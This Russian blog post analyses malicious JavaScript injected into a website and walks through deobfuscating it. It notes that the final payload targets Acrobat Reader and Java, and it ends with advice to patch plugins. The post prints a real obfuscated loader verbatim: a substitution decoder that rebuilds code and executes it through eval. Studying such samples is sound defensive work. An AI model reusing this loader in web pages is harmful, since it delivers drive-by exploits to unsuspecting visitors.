Информационная безопасность / [Из песочницы] Идентификация javascript зловреда

в 12:29, , рубрики: javascript, вирусы, деобфускация, метки: , ,

На одном сайте на поддержке в js был обнаружен странный код, точнее было понятно что это зловред: аваст выдал предупреждение, а консоль показала что есть соединение с несколькими левыми сайтами.

Как вредоносный код попал на сайт не так важно, предполагаемая дыра уже закрыта, но, прежде чем окончательно удалять код, я решил посмотреть что же он такого делает.

Итак, имеется три строки зашифрованного кода, возьмём, для примера, первую из них.
Расшифровывать такие скрипты можно с помощью различных онлайн-сервисов, но я же, когда пытался расшифровать дальше, наткнулся на <a rel="nofollow" href="http://malzilla.sourceforge.net/index.html">замечательную программу, которая позволяет тратить на это меньше времени.

Расшифрованный скрипт становится намного понятнее, что интересно, обращение к сайту производилось на событие «document.onmousemove», поэтому, скорее всего, бот этот скрипт и не обнаружит.

Все три скрипта вели на сайты, домены которых были зарегистрированы в DyDNS, что не позволяет отследить этого человека, что нам и не требовалось, но было бы приятным дополнением.

Ок, теперь интересно, а что именно подгружает с сайта этот скрипт, это оказывается ещё одна обфусцированная js'ка. Мы уже знаем как определить настоящее предназначение скрипта, и не обнаруживаем ничего интересного в коде: подгружается айфрейм, в котором, как я думал, всё просто. Однако, ответ сервера меня очень удивил, там было огромное неясно что. В этом я и решил покопаться ручками, потому что волшебная программка не смогла помочь.

Интересными были и части html

<body id="eval"> <input type="text" value="innerHTML" id="bOHYVBO5"> <div id="length" style="visibility:hidden">

и скрипты

<script> EPPkAnzs=document; EPPkAnzs.wxdQzk0q=function(shjZdTvV){return EPPkAnzs.getElementById(shjZdTvV);}; EPPkAnzs.Wul6s0M=function(shjZdTvV){return EPPkAnzs["getElementsB@@@@@@@@@@yTagName".replace("@@@@@@@@@@","")](shjZdTvV);}; ZYpi6j9=EPPkAnzs.Wul6s0M("div")[0].id; function SJHTBM(Y7vWZr3R,YCYqLvHz){return Y7vWZr3R.concat(YCYqLvHz);} HALnMi=function(Y7vWZr3R,YCYqLvHz,DiZpr){return Y7vWZr3R.substr(YCYqLvHz,DiZpr);}; qo5mOv=EPPkAnzs.Wul6s0M("div")[1][EPPkAnzs.wxdQzk0q("bOHYVBO5").value]; vOm2xcMs = "D.a[-PREfb6)lIN%{c4 V&s>}yJ2?*8!=Yo0+9Zu7_dO$|\'x<nUAG^]j;M31e/gCtHL5wvKh@"#W,rpmSFi:zTqBQk(X"; wM16vq=""; lA8KxT38=qo5mOv[ZYpi6j9]; FBVE8K4W=0; i=0; gTjSM=[]; while(FBVE8K4W<lA8KxT38){ gTjSM[i] = HALnMi(qo5mOv,FBVE8K4W,2); FBVE8K4W=2+FBVE8K4W; i++; } i=0; while(i<gTjSM[ZYpi6j9]){ iidteUpd=HALnMi(vOm2xcMs,gTjSM[i],1); wM16vq=SJHTBM(wM16vq,iidteUpd); i++; } </script> <script> if(EPPkAnzs.Wul6s0M("div")[0].id==="length")this[EPPkAnzs.Wul6s0M("body")[0].id](wM16vq);; </script>

Для начала я решил всё это упростить, чтобы не смотреть на беспорядочный набор букв. Первое, что просится — это заменить везде «EPPkAnzs» на «document», выполнить очевидное, «getElementsB@@@@@@@@@@yTagName».replace("@@@@@@@@@@","") заменить на «getElementsByTagName» и так далее. Затем начал упрощать названия функций и подставлять необходимые значения.
Неудобочитаемое «qo5mOv=EPPkAnzs.Wul6s0M(»div")[1][EPPkAnzs.wxdQzk0q(«bOHYVBO5»).value];" превратилось в понятное «big_text=document.getElementsByTagName(»div")[1][«innerHTML»];"
После всех этих достаточно нехитрых манипуляций стал очевиден коварный замысел скриптописателя, циклом он пробегался по верхнему куску цифр, дробил их по две и брал букву соответствующей позиции из строки символов. Когда всё стало ясно, то я просто eval'ом вывел результат и немного его отформатировал.
Бегло пробежавшись по скрипту, я увидел что используются уязвимости Acrobat Reader'а и Java.

На этом я успокоился и с чистой совестью удалил все упоминания зловреда. Проверяйте популярные плагины на защищённость и оперативно обновляйте, чтобы не пришлось устраивать такие квесты.

Автор: Distortriver

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js